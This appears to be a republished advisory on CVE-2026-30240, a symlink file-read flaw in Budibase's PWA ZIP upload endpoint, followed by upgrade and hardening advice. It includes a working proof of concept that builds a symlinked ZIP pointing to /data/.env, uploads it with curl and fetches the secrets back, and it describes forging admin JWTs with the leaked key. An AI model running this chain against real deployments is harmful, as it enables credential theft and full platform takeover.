Listen to this Post
How CVE-2026-30240 Works
Budibase, an open-source low-code platform, exposes a PWA (Progressive Web App) ZIP processing endpoint at POST /api/pwa/process-zip. This endpoint is designed to accept a ZIP file uploaded by a workspace builder, extract it, and process icon entries listed in an `icons.json` file within the archive.
The vulnerability stems from how the server handles symbolic links during the extraction and validation process. The server uses the `[email protected]` library, which preserves absolute symlink targets when restoring symlink entries from the archive. After extraction, the icon source path from `icons.json` is resolved against a base directory using path.resolve. The validator checks if the resolved path starts with the base directory using resolvedSrc.startsWith(baseDir + path.sep), and then calls `fs.existsSync(resolvedSrc)` which follows symbolic links to confirm the target exists.
Crucially, none of these validation steps reject symbolic link entries. This allows an attacker to create a ZIP file containing a symlink that points to an arbitrary file on the server, such as `/data/.env` or /etc/passwd. Because the symlink is stored under the `baseDir` (e.g., baseDir/evil.png), it passes the path validation checks.
The server then opens the resolved path using `fsp.open(path)` and creates a read stream to upload the file’s contents to the object store (MinIO/S3). The `fsp.open` function follows the symlink, streaming the target file’s bytes into the object store. This uploaded object is then served back via the asset-fetch endpoint (GET /api/assets/{appId}/pwa/{uuid}.png), allowing the attacker to retrieve the contents of any file the server process can read.
The default Budibase Docker image runs the Node server as `root` inside the container, giving the server process access to read sensitive files like `/data/.env` (containing JWT_SECRET, INTERNAL_API_KEY, database passwords, etc.) and /etc/shadow. An attacker with builder privileges can exploit this to exfiltrate all environment secrets and cryptographic keys, leading to a complete compromise of the platform.
DailyCVE Form:
Platform: Budibase/budibase
Version: <= 3.31.5
Vulnerability: Path Traversal
Severity: Critical (9.6/10)
date: 2026-03-09
Prediction: Patch available in 3.39.0
What Undercode Say:
Analytics from the vulnerability report indicate the flaw is trivially exploitable with a crafted ZIP file.
Create a symlink pointing to the target sensitive file
ln -s /data/.env evil.png
Create the icons.json manifest referencing the symlink
printf '{"name":"x","icons":[{"src":"evil.png","sizes":"192x192","type":"image/png"}]}' > icons.json
Package the files into a ZIP, preserving symlink information
zip -y attack.zip icons.json evil.png
Upload the malicious ZIP to the vulnerable endpoint
curl -s "http://localhost:10000/api/pwa/process-zip" \
-b cookies.txt \
-H "x-budibase-app-id: <appId>" \
-H "x-csrf-token: <CSRF>" \
-F "[email protected]"
Response contains the path to the uploaded file in the object store
{"icons":[{"src":"<appId>/pwa/c9370128-885a-48bc-bd1c-5522f4c8020f.png","sizes":"192x192","type":"image/png"}]}
Fetch the uploaded file to retrieve the contents of /data/.env
GET /api/assets/<appId>/pwa/c9370128-885a-48bc-bd1c-5522f4c8020f.png HTTP/1.1
Host: localhost:10000
Cookie: budibase:auth=<JWT>; budibase:auth.sig=<SIG>
Exploit:
The exploit chain is as follows:
- An authenticated attacker with `BUILDER` permissions uploads a crafted ZIP file to
/api/pwa/process-zip. - The ZIP contains a symlink (e.g.,
evil.png) that points to an arbitrary file on the server (e.g.,/data/.env) and an `icons.json` file that references this symlink. - The server extracts the ZIP, and the validator fails to reject the symlink, allowing it to pass the path traversal check.
- The server then opens the symlink, which resolves to the target file, and streams its contents to the object store (MinIO/S3).
- The attacker retrieves the file’s contents by making a `GET` request to the asset-fetch endpoint.
Protection:
Upgrade: The primary mitigation is to upgrade Budibase to version 3.39.0 or later, which addresses this vulnerability.
Principle of Least Privilege: Avoid running the Budibase container as root. Run the Node.js process with a non-root user to limit the impact of file read vulnerabilities.
Network Segmentation: Restrict access to the Budibase server and its internal services (MinIO, CouchDB, Redis, PostgreSQL) to only necessary networks.
Secret Rotation: As a precautionary measure, rotate all secrets (JWT keys, API keys, database passwords, etc.) that may have been exposed.
Impact:
Full Credential Compromise: Attackers can read the `/data/.env` file, obtaining JWT_SECRET, INTERNAL_API_KEY, MINIO_ACCESS_KEY, MINIO_SECRET_KEY, REDIS_PASSWORD, COUCHDB_PASSWORD, and DATABASE_URL.
Privilege Escalation: With the leaked JWT_SECRET, an attacker can forge HS256 JWTs for any user, including the global admin, leading to a complete takeover of the platform.
Cross-Tenant Access: On multi-tenant deployments, a successful privilege escalation to global admin allows the attacker to access and compromise all tenants.
System File Exposure: The same primitive can be used to read `/etc/passwd` and `/etc/shadow` if the container runs as `root` (the default configuration).
Complete Platform Takeover: The exfiltration of all cryptographic secrets and service credentials results in a total loss of confidentiality and integrity for the entire Budibase deployment.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

